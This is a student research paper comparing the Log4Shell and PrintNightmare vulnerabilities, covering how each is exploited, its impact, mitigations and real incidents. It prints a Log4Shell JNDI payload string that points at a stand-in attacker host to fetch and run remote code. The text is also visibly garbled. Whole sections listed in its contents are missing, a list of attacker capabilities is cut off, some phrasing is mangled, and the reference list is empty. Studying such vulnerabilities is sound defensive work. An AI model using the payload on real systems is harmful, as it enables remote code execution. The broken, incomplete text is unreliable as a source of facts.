Assignment 3
Assignment 3
REASERCH PAPER
SUBMITTED BY:
M.Haseeb Asif__F2022105109
Jannat Imtiaz__F2022105216
Malika Zahra__F2022105205
SUBMITTED TO:
SIR.Muttaher
SECTION:
Y-2
Cybersecurity Vulnerability Research and Analysis
Table of Contents
1. Introduction
2. Vulnerability 1: CVE-2021-44228 (Log4Shell)
a. CVE ID and Overview
b. Technical Description and Exploitation
c. Impact
d. Affected Systems and Versions
e. Mitigation Strategies
f. Real-World Incidents
3. Vulnerability 2: CVE-2021-34527 (PrintNightmare)
a. CVE ID and Overview
b. Technical Description and Exploitation
c. Impact
d. Affected Systems and Versions
e. Mitigation Strategies
f. Real-World Incidents
4. Comparative Analysis
5. Conclusion and Key Insights
6. References
Introduction:
Cybersecurity vulnerabilities represent one of the most significant risks to modern information
systems.Software defects, especially those that can be remotely exploited, provide hackers with risky
entry points as systems become more interconnected. Two significant vulnerabilities from the past
ten years are examined in this report: CVE-2021-44228 (Log4Shell) and CVE-2021-34527
(PrintNightmare). Each had an effect on important elements.Across millions of systems and caused
widespread exploitation. Through detailed research and analysis, this report examines their technical
nature, impacts, and real-world consequences, while also evaluating mitigation approaches.
${jndi:ldap://attacker.com/exploit}
When the vulnerable Log4j instance logs this string, it interprets it as a directive to fetch code from a
remote LDAP server. That server, controlled by the attacker, delivers a malicious Java class file. This
class is then deserialized and executed, enabling unauthenticated remote code execution
(RCE).
Exploitation is trivial — it requires only that an attacker submit the string via any input that gets logged,
such as HTTP headers, chat messages, or usernames.
Impact
Organizations affected ranged from small websites to major platforms like Amazon AWS, iCloud, and
Cisco products.
Mitigation Strategies
• Upgrade Log4j: Version 2.15.0 removed automatic JNDI lookups, and 2.17.1
disabled lookups entirely.
• Delete vulnerable classes: Manually remove JndiLookup.classfrom JARs as a temporary
fix.
• Firewall controls: Block outbound LDAP and RMI requests.
• WAF Rules: Detect and block malicious JNDI strings using regex filters.
Organizations were also urged to conduct software composition analysis (SCA) scans to identify
hidden dependencies.
Real-World Incidents
1.Within hours of disclosure, scanning activity was detected by Cloudflare and Apple iCloud.
2.Log4Shell was used by Chinese APT groups to attack American infrastructure.
3.Microsoft recorded ransomware gangs taking advantage of the vulnerability to move laterally
in cloud environments.
Equinix reported that Log4Shell was the target of thousands of automated exploit attempts every
hour.
PrintNightmare is a vulnerability in how the Windows Print Spooler service handles remote driver
installation. By abusing the RpcAddPrinterDriverEx() API, attackers can:
This can be done remotely by any authenticated user, or locally by malware with minimal privileges.
Impact
Mitigation Strategies
Microsoft also recommended regular audits for misconfigured drivers and spooler status across the
domain.
Real-World Incidents
• The Vice Society ransomware gang used PrintNightmare to gain SYSTEM privileges
before deploying encryption payloads.
• Red team tools like Mimikatz incorporated the vulnerability to escalate privileges.
• CISA added it to its KEV Catalog, requiring federal agencies to apply mitigation
immediately.
Security companies observed mass lateral movement across enterprise networks within days of
public exploit release.
Comparative Analysis
1. Deliver chain dependencies are exploited by attackers; many apps unknowingly protected
Log4j2.
2. Dangerous default-enabled services — Print Spooler was unnecessarily enabled on the
majority of systems.
3. Although it is often delayed due to complexity, legacy apps, or lack of visibility, rapid
patching is essential.
4. Point-to-patch is essential because real-global exploitation occurs within days.
These CVEs now serve as case studies for proactive danger monitoring, architecture hygiene,
and secure development.
References